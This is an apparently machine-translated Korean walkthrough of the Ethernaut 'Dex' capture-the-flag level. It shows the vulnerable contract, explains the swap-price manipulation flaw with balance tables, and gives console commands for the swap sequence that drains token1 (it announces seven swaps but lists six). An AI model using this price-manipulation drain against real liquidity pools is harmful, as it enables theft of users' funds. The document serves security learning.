Ethernaut 해킹 레벨 22: 덱스

OpenZeppelinEthernaut web3/solidity 기반 게임의 레벨 22입니다.

전제 조건


  • ERC20 Token Standard
  • 솔리디티 division operation

  • 마구 자르기



    주어진 계약:

    // SPDX-License-Identifier: MIT
    pragma solidity ^0.6.0;
    
    import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
    import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
    import '@openzeppelin/contracts/math/SafeMath.sol';
    
    contract Dex  {
      using SafeMath for uint;
      address public token1;
      address public token2;
      constructor(address _token1, address _token2) public {
        token1 = _token1;
        token2 = _token2;
      }
    
      function swap(address from, address to, uint amount) public {
        require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");
        require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
        uint swap_amount = get_swap_price(from, to, amount);
        IERC20(from).transferFrom(msg.sender, address(this), amount);
        IERC20(to).approve(address(this), swap_amount);
        IERC20(to).transferFrom(address(this), msg.sender, swap_amount);
      }
    
      function add_liquidity(address token_address, uint amount) public{
        IERC20(token_address).transferFrom(msg.sender, address(this), amount);
      }
    
      function get_swap_price(address from, address to, uint amount) public view returns(uint){
        return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
      }
    
      function approve(address spender, uint amount) public {
        SwappableToken(token1).approve(spender, amount);
        SwappableToken(token2).approve(spender, amount);
      }
    
      function balanceOf(address token, address account) public view returns (uint){
        return IERC20(token).balanceOf(account);
      }
    }
    
    contract SwappableToken is ERC20 {
      constructor(string memory name, string memory symbol, uint initialSupply) public ERC20(name, symbol) {
            _mint(msg.sender, initialSupply);
      }
    }
    

    player는 계약에서 token1token2의 두 토큰 중 적어도 하나를 모두 빼내야 합니다.

    취약점은 Dex에 있는 토큰 간의 환율을 결정하는 get_swap_price 메서드에서 발생합니다. 나눗셈은 항상 완전한 정수가 아니라 분수로 계산됩니다. 그리고 Solidity에는 분수 유형이 없습니다. 대신 나눗셈은 0으로 반올림됩니다. 문서에 따르면. 예를 들어 3 / 2 = 1 견고합니다.

    모든 token1token2로 바꿀 것입니다. 그런 다음 모든 token2를 교환하여 token1를 얻은 다음 모든 token1token2로 교환하는 식입니다.

    가격 기록 및 잔액은 다음과 같습니다. 처음에는,

          DEX       |      player  
    token1 - token2 | token1 - token2
    ----------------------------------
      100     100   |   10      10               
    

    token1를 모두 바꾼 후 :

          DEX       |        player  
    token1 - token2 | token1 - token2
    ----------------------------------
      100     100   |   10      10
      110     90    |   0       20                
    


    이 시점에서 환율이 조정됩니다. 이제 20token2을 교환하면 20 * 110 / 90 = 24.44..가 됩니다. 그러나 나누기는 정수가 되기 때문에 우리는 24 token2 를 얻습니다. 가격이 다시 조정됩니다. 다시 바꿉니다.

          DEX       |        player  
    token1 - token2 | token1 - token2
    ----------------------------------
      100     100   |   10      10
      110     90    |   0       20    
      86      110   |   24      0    
    


    각 스왑에서 이전 스왑 이전보다 더 많은 token1 또는 token2를 얻습니다. get_swap_price 방법의 가격 계산이 정확하지 않기 때문입니다.

    계속 교환하면 다음을 얻을 수 있습니다.

          DEX       |        player  
    token1 - token2 | token1 - token2
    ----------------------------------
      100     100   |   10      10
      110     90    |   0       20    
      86      110   |   24      0    
      110     80    |   0       30    
      69      110   |   41      0    
      110     45    |   0       65   
    


    이제 위의 마지막 스왑에서 65token2를 얻었습니다. 이는 110token1을 모두 소모하기에 충분합니다! 간단한 계산으로 token2 의 110개를 모두 얻으려면 token1 중 45개만 필요합니다.

          DEX       |        player  
    token1 - token2 | token1 - token2
    ----------------------------------
      100     100   |   10      10
      110     90    |   0       20    
      86      110   |   24      0    
      110     80    |   0       30    
      69      110   |   41      0    
      110     45    |   0       65   
      0       90    |   110     20
    


    콘솔로 이동합니다. 먼저 우리가 반복해서 승인할 필요가 없도록 충분히 큰 허용량으로 토큰을 전송하는 계약을 승인하십시오. 500의 허용량은 충분해야 합니다.

    await contract.approve(contract.address, 500)
    


    토큰 주소 가져오기:

    t1 = await contract.token1()
    t2 = await contract.token2()
    


    이제 위의 테이블 행에 해당하는 7개의 스왑을 하나씩 수행합니다.

    await contract.swap(t1, t2, 10)
    await contract.swap(t2, t1, 20)
    await contract.swap(t1, t2, 24)
    await contract.swap(t2, t1, 30)
    await contract.swap(t1, t2, 41)
    await contract.swap(t2, t1, 45)
    

    token1 배수되었습니다! 확인 방법:

    await contract.balanceOf(t1, instance).then(v => v.toString())
    
    // Output: '0'
    


    이거 야!

    멋진 것을 배웠습니까? 주연을 고려해보세요 github repo 😄

    그리고 트위터 팔로우 해주세요🙏

    좋은 웹페이지 즐겨찾기